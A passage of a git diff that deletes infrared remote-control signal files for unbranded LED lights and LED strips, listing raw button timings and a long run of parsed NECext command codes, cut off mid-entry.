2284 255 98517 254 10758 1159 357 361 119 193 2281 248 -# -name: Brighter -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 4082 4497 331 539 335 535 339 530 333 539 335 535 339 532 331 540 334 538 336 1609 378 1605 372 1609 378 1609 378 1607 380 1609 378 1634 343 1603 374 1639 338 534 340 1641 336 537 337 536 338 536 338 533 341 533 341 531 343 1636 341 499 343 1664 344 1635 342 1636 362 1618 338 1642 335 59711 13365 2274 275 98192 13430 2281 278 98226 13355 2284 276 -# -name: Darker -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 180 8430 264 608 266 604 259 610 264 606 268 603 260 609 265 606 268 605 258 1722 265 1715 262 1719 258 1721 266 1715 262 1719 268 1715 262 1720 267 606 268 604 259 1723 264 611 263 609 265 610 264 608 266 607 267 1713 264 1716 261 613 261 1720 267 1729 258 1710 267 1680 339 1640 358 38767 496 106 180 602 4491 585 330 647 289 109908 203 116 180 8120 272 599 306 565 277 573 290 601 304 548 295 573 290 601 304 549 262 1737 182 1777 298 1681 296 1685 292 1690 297 1683 294 1706 281 1687 181 39 179 469 264 607 267 1675 364 521 181 64 175 530 286 587 255 609 265 606 268 1713 264 1713 264 609 265 1717 260 1714 263 1649 390 1682 264 1718 290 -# -name: Red -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 4070 4492 336 532 331 539 335 536 338 531 332 537 337 535 339 534 340 531 332 1648 339 1641 336 1645 332 1648 339 1641 336 1646 331 1653 334 1647 340 1643 334 539 335 539 335 1648 339 534 340 535 339 535 339 534 340 531 332 1649 338 1646 331 538 336 1646 331 1649 338 1642 335 1645 332 59768 13221 2279 280 98376 13242 2198 330 -# -name: Green -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 4115 4504 324 582 281 538 336 535 339 530 333 537 337 505 369 502 372 531 332 1648 339 1643 334 1646 331 1650 337 1643 334 1649 338 1641 315 1689 179 -# -name: Blue -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 201 8424 275 576 298 572 291 599 296 558 285 603 271 599 275 580 294 596 278 1684 293 3677 277 1711 276 1691 286 1640 337 1639 348 1635 342 546 338 1698 279 585 299 1636 341 545 339 537 347 541 353 509 344 1635 404 536 348 1638 349 539 376 1638 328 79436 203 3212 773 4525 282 548 357 506 357 530 354 542 342 506 409 515 411 587 276 545 349 1677 289 1690 266 1709 268 1710 267 1714 263 1717 291 1693 263 1718 269 607 267 1722 265 613 172 1814 261 616 268 607 267 612 262 615 259 1721 297 579 263 1720 267 606 268 1715 272 1714 263 1723 264 1720 267 -# -name: White -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 175 8455 280 593 301 565 288 585 278 583 270 597 297 576 298 563 181 1065 303 5651 280 3674 301 1698 279 7614 346 532 342 1710 277 539 345 535 339 539 345 584 279 598 276 2584 308 567 275 3701 294 1688 278 1709 278 59644 176 11236 179 1178 174 4633 263 97280 248 10633 4435 2254 253 -# -name: Flash -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 181 8431 263 608 203 1154 271 600 263 608 266 1480 299 575 267 617 288 1700 277 5676 276 1712 296 1689 298 1685 271 1716 271 1715 272 1716 271 1655 343 1691 296 537 368 509 344 578 296 578 348 522 612 592 282 590 284 589 285 1701 286 1699 288 1698 289 1695 282 59309 15199 2279 280 97206 15190 2281 278 -# -name: Strobe -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 246 8364 263 609 265 606 257 614 260 611 263 608 266 609 265 591 173 1051 265 1718 259 1724 263 1721 266 1718 259 1724 263 1721 266 1719 268 1718 269 1718 269 1718 269 1719 268 609 265 1724 263 598 255 615 269 607 267 597 178 1195 266 605 269 1716 261 612 262 1723 264 1721 266 1718 269 59329 246 10647 4348 2282 288 -# -name: Fade -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 182 262 175 5253 179 259 245 499 172 2203 341 96965 198 12787 2720 2284 276 -# -name: Smooth -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 15227 4499 277 577 297 594 269 602 272 601 273 599 275 597 277 596 278 588 286 3688 277 1690 297 1705 303 3669 275 1713 274 1691 629 1704 273 1654 344 536 369 553 289 1648 339 585 289 587 349 543 279 577 265 604 270 1675 343 1641 346 585 278 1687 290 1698 341 1639 296 53299 15138 2286 274 97253 15237 2259 280 -# -name: Yellow -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 15231 2218 248 -# -name: Pink -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 176 8806 294 577 265 604 259 610 295 578 264 607 267 602 272 601 262 611 263 1720 267 1732 276 1692 264 1716 261 1718 290 1696 260 1734 253 1723 264 612 262 1740 278 598 286 575 267 1718 269 609 265 1484 264 1718 269 607 267 1727 250 1720 298 574 268 1715 262 1721 266 1718 269 59632 202 10692 307 117 528 120 176 470 175 289 444 117 257 117 205 118 178 2928 261 -# -name: Yellow -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 15192 4552 286 534 340 504 370 531 332 538 336 505 369 533 341 531 332 539 335 1647 340 1644 333 1650 337 1643 334 1649 338 1646 341 1642 335 1618 369 1615 372 536 338 539 335 542 332 1653 334 543 341 505 369 536 338 535 339 1644 333 1651 336 1648 339 532 342 1642 335 1649 338 1645 332 53458 15180 2285 274 97156 15186 2284 275 -# -name: Purple -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 4426 4547 281 591 283 585 289 582 281 587 287 584 290 582 281 590 315 558 284 1697 290 1694 283 1699 288 1693 284 1698 289 1684 345 1647 319 1616 340 578 296 1692 295 1691 296 581 293 1649 338 540 344 576 178 704 289 1683 262 619 286 596 278 1688 341 531 291 1690 297 1687 290 1713 274 59602 15175 2283 276 -# -name: Royal_Blue -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 5911 4553 317 555 287 584 290 582 281 585 309 514 339 582 312 560 282 539 335 1701 286 1698 289 1695 282 1701 286 1697 311 1622 334 1702 285 1649 338 591 314 512 341 535 339 589 316 1619 368 558 295 584 310 513 340 1694 283 1702 285 1696 312 1670 317 556 286 1697 290 1690 308 1677 289 58761 15166 2276 273 97195 15150 2285 274 diff --git a/assets/ir_optional_assets/optional-assets/LED Lighting/BrandUnknown/DMX_Light.ir b/assets/ir_optional_assets/optional-assets/LED Lighting/BrandUnknown/DMX_Light.ir deleted file mode 100644 index 680b08a59..000000000 --- a/assets/ir_optional_assets/optional-assets/LED Lighting/BrandUnknown/DMX_Light.ir +++ /dev/null @@ -1,98 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: Power -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 9296 4514 603 547 607 544 610 541 613 538 606 545 609 542 612 538 606 1657 610 1653 604 1658 609 1654 613 1649 608 1655 612 1650 607 1656 611 540 604 547 607 1655 612 539 605 546 608 1654 613 537 607 544 610 541 613 1649 608 543 611 1651 606 1657 610 540 604 1659 608 1654 613 1650 607 40011 9303 2233 606 96496 9310 2232 607 96508 9306 2235 604 96514 9303 2234 605 -# -name: Dmx -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 9363 4506 611 546 608 546 608 546 608 544 610 543 611 541 613 540 614 1677 580 1658 609 1657 610 1657 610 1656 611 1658 619 1651 616 1655 612 547 618 541 613 1654 613 1654 613 1654 613 1656 611 546 618 539 615 543 611 1656 611 548 616 544 610 549 615 543 611 1657 610 1658 619 1652 615 40004 9352 2240 610 96483 9400 2238 622 96460 9424 2241 619 96460 9382 2230 610 -# -name: Auto -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 9295 4513 614 537 607 544 610 540 604 546 608 542 612 538 606 544 610 1651 606 1655 612 1649 608 1653 604 1658 609 1652 605 1656 611 1650 607 543 611 538 606 1654 603 547 607 542 602 547 607 542 612 537 607 543 611 1650 607 543 611 1649 608 1653 614 1648 609 1680 577 1685 582 1678 579 40020 9271 2236 603 96524 9275 2263 659 96443 9271 2237 612 96520 9267 2235 604 96511 9299 2268 644 -# -name: Jump -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 9285 4512 615 538 606 546 608 544 610 541 603 548 606 545 609 543 611 1652 605 1658 609 1682 585 1681 586 1678 589 1676 581 1685 582 1682 585 540 614 541 613 539 605 1658 609 545 609 544 610 545 609 543 611 543 611 1651 606 1657 610 544 610 1654 613 1653 614 1650 607 1684 583 1681 586 40006 9263 2238 611 96508 9248 2238 611 96507 9248 2235 604 96517 9248 2234 605 96507 9299 2235 615 -# -name: Strobe -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 9275 4515 613 539 605 546 608 542 612 538 606 545 609 541 603 548 606 1654 613 1649 608 1653 604 1657 610 1652 605 1657 610 1652 605 1658 609 542 612 539 605 1656 611 1651 606 544 610 540 604 546 608 542 602 547 607 1653 604 546 608 542 612 1648 609 1679 578 1656 611 1650 607 1681 576 40024 9249 2231 608 96520 9255 2240 610 96498 9368 2234 616 -# -name: Fade -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 9532 4516 621 544 620 543 621 542 622 541 623 540 614 549 615 550 614 1689 599 1650 627 1649 618 1658 619 1655 622 1652 615 1659 618 1656 621 542 622 1652 615 550 625 1679 598 540 624 541 613 550 614 549 615 547 617 543 611 1660 617 543 611 1660 617 1681 586 1686 591 1680 587 1685 592 40013 9430 2237 612 96528 9356 2241 619 96538 9335 2241 608 -# -name: Sound -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 9360 4508 609 546 608 546 608 545 609 544 610 544 610 543 611 542 612 1650 607 1658 609 1655 612 1652 615 1649 608 1657 610 1654 613 1650 607 547 607 545 609 542 612 540 604 1658 609 544 610 542 612 539 605 547 607 1681 586 1650 607 1657 610 542 612 1650 607 1656 611 1652 667 1596 609 40023 9300 2237 612 96503 9455 2232 618 -# -name: Red -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 9362 4515 612 541 613 540 614 538 606 547 607 545 609 544 610 542 612 1652 615 1648 609 1682 585 1679 577 1685 582 1682 585 1679 588 1676 580 544 610 542 612 1651 606 547 607 1655 612 541 613 539 615 538 616 540 614 1651 616 538 606 1659 608 546 608 1656 611 1654 613 1651 606 1659 608 40015 9283 2235 604 96515 9276 2238 611 96503 9299 2232 607 -# -name: Green -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 9417 4514 613 545 609 548 616 541 613 543 611 546 608 548 616 541 613 1657 620 1677 590 1651 616 1653 614 1654 613 1655 612 1655 612 1655 612 544 610 1656 611 1684 583 545 609 1657 610 1684 583 546 608 548 616 540 614 546 608 547 607 1659 618 539 615 542 612 1655 612 1683 584 1657 610 40015 9385 2240 620 96496 9356 2233 616 -# -name: Blue -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 9421 4508 619 541 613 545 609 547 607 549 615 539 615 540 614 540 614 1652 615 1654 613 1681 586 1681 586 1680 587 1678 589 1677 579 1685 582 545 609 1654 613 1677 580 1682 585 1678 579 1656 611 539 605 546 608 542 602 548 606 543 611 538 606 544 610 540 604 1656 611 1650 607 1682 585 40013 9274 2239 610 96511 9281 2234 605 -# -name: Rose -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 9290 4515 612 539 605 545 609 540 603 546 608 541 602 547 607 542 612 1650 606 1655 612 1650 606 1654 602 1659 608 1653 603 1658 609 1653 603 546 608 542 612 537 607 1655 612 1649 607 542 612 537 607 542 612 538 606 1655 612 1650 606 543 611 538 606 1656 611 1650 606 1654 613 1649 608 40004 9293 2232 607 96519 9272 2242 607 -# -name: Amber -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 9391 4516 611 545 609 547 617 537 617 538 616 538 616 538 616 538 616 1650 617 1650 617 1650 617 1649 618 1650 617 1650 617 1651 616 1652 615 541 613 1654 613 543 611 1657 610 1658 620 538 616 541 613 544 621 537 617 540 614 1656 621 537 617 569 585 1657 621 1650 617 1652 615 1655 612 40012 9300 2234 615 96484 9339 2229 610 -# -name: Cyan -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 9413 4515 612 545 619 540 614 542 612 543 611 542 664 490 612 542 612 1654 613 1654 613 1653 614 1659 618 1651 616 1652 615 1652 615 1652 615 542 612 540 614 1650 606 1659 608 1657 610 542 612 541 613 539 605 548 606 1658 609 544 610 544 610 548 616 1657 610 1657 610 1659 608 1660 617 40010 9280 2233 606 96504 9277 2234 605 96504 9347 2234 615 -# -name: White -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 9419 4510 617 544 620 539 615 545 619 540 614 546 618 539 615 541 613 1654 613 1653 613 1652 615 1650 606 1657 610 1654 613 1650 606 1659 608 546 608 547 617 538 616 541 613 544 610 547 617 538 616 541 613 544 610 1659 618 1650 617 1650 617 1649 607 1658 609 1656 611 1656 611 1655 612 39870 9281 2236 613 96484 9266 2234 605 96493 9287 2236 613 96178 9362 2238 611 -# -name: Faster -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 9408 4511 616 544 620 544 620 542 622 543 621 549 626 545 630 543 632 1650 627 1654 613 1654 613 1652 615 1651 616 1649 618 1648 608 1658 619 539 615 1653 614 1658 619 1650 617 1652 615 542 612 545 609 548 616 540 614 545 619 541 613 546 618 540 614 1655 612 1657 620 1651 616 1658 619 39990 9254 2232 607 96487 9323 2235 614 -# -name: Slower -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 9487 4509 618 548 616 539 615 542 612 547 617 541 613 548 616 546 608 1660 617 1658 619 1659 618 1658 619 1657 610 1659 618 1654 623 1651 616 540 614 1656 621 544 610 547 617 1653 624 1651 616 546 618 539 646 513 620 545 619 1653 614 1661 616 545 619 544 620 1653 614 1658 619 1655 612 39967 9423 2237 612 96441 9454 2233 616 diff --git a/assets/ir_optional_assets/optional-assets/LED Lighting/BrandUnknown/LEDStrip.ir b/assets/ir_optional_assets/optional-assets/LED Lighting/BrandUnknown/LEDStrip.ir deleted file mode 100644 index fe3e1a31a..000000000 --- a/assets/ir_optional_assets/optional-assets/LED Lighting/BrandUnknown/LEDStrip.ir +++ /dev/null @@ -1,1538 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 1 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 00 FF 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 01 FE 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 02 FD 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 03 FC 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 04 FB 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 05 FA 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 06 F9 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 07 F8 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 08 F7 00 00 -# -name: 10 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 09 F6 00 00 -# -name: 11 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 0A F5 00 00 -# -name: 12 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 0B F4 00 00 -# -name: 13 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 0C F3 00 00 -# -name: 14 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 0D F2 00 00 -# -name: 15 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 0E F1 00 00 -# -name: 16 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 0F F0 00 00 -# -name: 17 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 10 EF 00 00 -# -name: 18 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 11 EE 00 00 -# -name: 19 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 12 ED 00 00 -# -name: 20 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 13 EC 00 00 -# -name: 21 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 14 EB 00 00 -# -name: 22 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 15 EA 00 00 -# -name: 23 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 16 E9 00 00 -# -name: 24 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 17 E8 00 00 -# -name: 25 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 18 E7 00 00 -# -name: 26 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 19 E6 00 00 -# -name: 27 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 1A E5 00 00 -# -name: 28 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 1B E4 00 00 -# -name: 29 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 1C E3 00 00 -# -name: 30 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 1D E2 00 00 -# -name: 31 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 1E E1 00 00 -# -name: 32 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 1F E0 00 00 -# -name: 33 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 20 DF 00 00 -# -name: 34 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 21 DE 00 00 -# -name: 35 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 22 DD 00 00 -# -name: 36 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 23 DC 00 00 -# -name: 37 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 24 DB 00 00 -# -name: 38 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 25 DA 00 00 -# -name: 39 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 26 D9 00 00 -# -name: 40 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 27 D8 00 00 -# -name: 41 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 28 D7 00 00 -# -name: 42 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 29 D6 00 00 -# -name: 43 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 2A D5 00 00 -# -name: 44 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 2B D4 00 00 -# -name: 45 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 2C D3 00 00 -# -name: 46 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 2D D2 00 00 -# -name: 47 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 2E D1 00 00 -# -name: 48 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 2F D0 00 00 -# -name: 49 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 30 CF 00 00 -# -name: 50 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 31 CE 00 00 -# -name: 51 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 32 CD 00 00 -# -name: 52 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 33 CC 00 00 -# -name: 53 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 34 CB 00 00 -# -name: 54 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 35 CA 00 00 -# -name: 55 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 36 C9 00 00 -# -name: 56 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 37 C8 00 00 -# -name: 57 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 38 C7 00 00 -# -name: 58 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 39 C6 00 00 -# -name: 59 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 3A C5 00 00 -# -name: 60 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 3B C4 00 00 -# -name: 61 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 3C C3 00 00 -# -name: 62 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 3D C2 00 00 -# -name: 63 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 3E C1 00 00 -# -name: 64 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 3F C0 00 00 -# -name: 65 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 40 BF 00 00 -# -name: 66 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 41 BE 00 00 -# -name: 67 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 42 BD 00 00 -# -name: 68 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 43 BC 00 00 -# -name: 69 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 44 BB 00 00 -# -name: 70 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 45 BA 00 00 -# -name: 71 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 46 B9 00 00 -# -name: 72 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 47 B8 00 00 -# -name: 73 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 48 B7 00 00 -# -name: 74 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 49 B6 00 00 -# -name: 75 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 4A B5 00 00 -# -name: 76 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 4B B4 00 00 -# -name: 77 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 4C B3 00 00 -# -name: 78 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 4D B2 00 00 -# -name: 79 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 4E B1 00 00 -# -name: 80 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 4F B0 00 00 -# -name: 81 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 50 AF 00 00 -# -name: 82 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 51 AE 00 00 -# -name: 83 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 52 AD 00 00 -# -name: 84 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 53 AC 00 00 -# -name: 85 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 54 AB 00 00 -# -name: 86 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 55 AA 00 00 -# -name: 87 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 56 A9 00 00 -# -name: 88 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 57 A8 00 00 -# -name: 89 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 58 A7 00 00 -# -name: 90 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 59 A6 00 00 -# -name: 91 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 5A A5 00 00 -# -name: 92 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 5B A4 00 00 -# -name: 93 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 5C A3 00 00 -# -name: 94 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 5D A2 00 00 -# -name: 95 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 5E A1 00 00 -# -name: 96 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 5F A0 00 00 -# -name: 97 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 60 9F 00 00 -# -name: 98 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 61 9E 00 00 -# -name: 99 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 62 9D 00 00 -# -name: 100 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 63 9C 00 00 -# -name: 101 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 64 9B 00 00 -# -name: 102 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 65 9A 00 00 -# -name: 103 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 66 99 00 00 -# -name: 104 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 67 98 00 00 -# -name: 105 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 68 97 00 00 -# -name: 106 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 69 96 00 00 -# -name: 107 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 6A 95 00 00 -# -name: 108 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 6B 94 00 00 -# -name: 109 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 6C 93 00 00 -# -name: 110 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 6D 92 00 00 -# -name: 111 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 6E 91 00 00 -# -name: 112 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 6F 90 00 00 -# -name: 113 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 70 8F 00 00 -# -name: 114 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 71 8E 00 00 -# -name: 115 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 72 8D 00 00 -# -name: 116 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 73 8C 00 00 -# -name: 117 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 74 8B 00 00 -# -name: 118 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 75 8A 00 00 -# -name: 119 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 76 89 00 00 -# -name: 120 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 77 88 00 00 -# -name: 121 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 78 87 00 00 -# -name: 122 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 79 86 00 00 -# -name: 123 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 7A 85 00 00 -# -name: 124 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 7B 84 00 00 -# -name: 125 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 7C 83 00 00 -# -name: 126 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 7D 82 00 00 -# -name: 127 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 7E 81 00 00 -# -name: 128 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 7F 80 00 00 -# -name: 129 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 80 7F 00 00 -# -name: 130 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 81 7E 00 00 -# -name: 131 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 82 7D 00 00 -# -name: 132 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 83 7C 00 00 -# -name: 133 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 84 7B 00 00 -# -name: 134 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 85 7A 00 00 -# -name: 135 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 86 79 00 00 -# -name: 136 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 87 78 00 00 -# -name: 137 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 88 77 00 00 -# -name: 138 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 89 76 00 00 -# -name: 139 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 8A 75 00 00 -# -name: 140 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 8B 74 00 00 -# -name: 141 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 8C 73 00 00 -# -name: 142 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 8D 72 00 00 -# -name: 143 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 8E 71 00 00 -# -name: 144 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 8F 70 00 00 -# -name: 145 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 90 6F 00 00 -# -name: 146 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 91 6E 00 00 -# -name: 147 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 92 6D 00 00 -# -name: 148 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 93 6C 00 00 -# -name: 149 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 94 6B 00 00 -# -name: 150 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 95 6A 00 00 -# -name: 151 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 96 69 00 00 -# -name: 152 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 97 68 00 00 -# -name: 153 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 98 67 00 00 -# -name: 154 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 99 66 00 00 -# -name: 155 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 9A 65 00 00 -# -name: 156 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 9B 64 00 00 -# -name: 157 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 9C 63 00 00 -# -name: 158 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 9D 62 00 00 -# -name: 159 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 9E 61 00 00 -# -name: 160 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: 9F 60 00 00 -# -name: 161 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: A0 5F 00 00 -# -name: 162 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: A1 5E 00 00 -# -name: 163 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: A2 5D 00 00 -# -name: 164 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: A3 5C 00 00 -# -name: 165 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: A4 5B 